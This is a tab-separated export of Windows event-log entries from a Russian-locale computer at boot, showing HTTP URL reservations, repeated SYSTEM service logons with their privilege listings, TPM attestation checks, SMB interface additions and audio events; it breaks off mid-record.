S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:80/0131501b-d67f-491b-9a40-c4bf27bcb4d4/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL https://+:443/C574AC30-5794-4AEE-B1BB-6651C5315029/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:80/116B50EB-ECE2-41ac-8429-9F9E963361B7/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL https://+:3392/rdp/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL https://+:443/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:10246/MDEServer/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:10247/apps/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.047\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.047\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.056\t10016\t\"The \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f permission settings do not grant \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f permission for the COM Server application with CLSID \n{9EA82395-E31B-41CA-8DF7-EC1CEE7194DF}\n and APPID \n{2ED83BAA-B2FD-43B1-99BF-E6149C622692}\n to the user NT AUTHORITY\\NETWORK SERVICE SID (S-1-5-20) from address LocalHost (\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c LRPC) running in the application container \u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e SID (\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e). This security permission can be modified using the Component Services administrative tool.\"\tWarning\tSystem\tMicrosoft-Windows-DistributedCOM\n05.09.2026 08:28:58.065\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.078\t5033\tThe Windows Firewall Driver started successfully.\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.084\t30950\t\"Component capabilities: 0x2\nInternal patch number: 0x0\n\"\tInformation\tMicrosoft-Windows-SMBClient/Operational\tMicrosoft-Windows-SMBClient\n05.09.2026 08:28:58.086\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=File]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:58.087\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=PackageAppInstaller]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:58.089\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=PackageSourceUri]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:58.089\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=NULL]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:58.094\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.103\t1041\tPre-attestation health check detailed information: {\"Version\":2,\"HealthStatus\":\"Possibly attestable\",\"Required\":[{\"Field\":\"TpmPresent\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"TpmMeetsMinimumVersion\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"TpmIsResponsive\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"EkCertIsAvailable\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"TcgLogFound\",\"Value\":true,\"DesiredValue\":true}],\"Expected\":[{\"Field\":\"PcrsMatchTcgLog\",\"Value\":false,\"DesiredValue\":true,\"DiagnosticInfo\":{\"SoftwarePcrReplayHresult\":0,\"HardwarePcrReplayHresult\":0,\"BitMaskOfPcrMismatches\":1}}],\"Informational\":[{\"Field\":\"SecureBootEnabled\",\"ValueFromComputer\":true,\"ValueFromTcgLog\":true,\"DesiredValue\":true,\"TcgValueIsVerifiable\":true},{\"Field\":\"VirtualSecureMemory\",\"ValueFromComputer\":false,\"ValueFromTcgLog\":false,\"DesiredValue\":true,\"TcgValueIsVerifiable\":true},{\"Field\":\"SecureCorePCCompliant\",\"ValueFromComputer\":false,\"ValueFromTcgLog\":false,\"DesiredValue\":true,\"TcgValueIsVerifiable\":true},{\"Field\":\"MostRecentBootTcgLogFoundInFileSystem\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"CurrentTcgLogFoundInFileSystem\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"EkCertRsa2048IsAvailable\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"EkCertEccP256IsAvailable\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"EkCertEccP384IsAvailable\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"WindowsAikCertRsa2048IsAvailable\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"WindowsAikCertEccP256IsAvailable\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"WindowsAikCertEccP384IsAvailable\",\"Value\":true,\"DesiredValue\":true}]}\tInformation\tSystem\tMicrosoft-Windows-TPM-WMI\n05.09.2026 08:28:58.103\t1039\t\"Pre-attestation health checks confirm that the device meets most attestation criteria, but failing is still possible.\n Please see C:\\WINDOWS\\Logs\\MeasuredBoot\\0000000179-0000000000.json for detailed information on what checks were made.\"\tInformation\tSystem\tMicrosoft-Windows-TPM-WMI\n05.09.2026 08:28:58.112\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.116\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438\nInterfaceIndex: 0xF\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:28:58.116\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438\nInterfaceIndex: 0xF\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:28:58.116\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u0421\u0435\u0442\u0435\u0432\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 Bluetooth\nInterfaceIndex: 0xC\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:28:58.133\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.148\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.154\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.154\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.156\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.156\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.163\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.163\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.164\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.164\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.164\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.164\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.166\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.166\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon 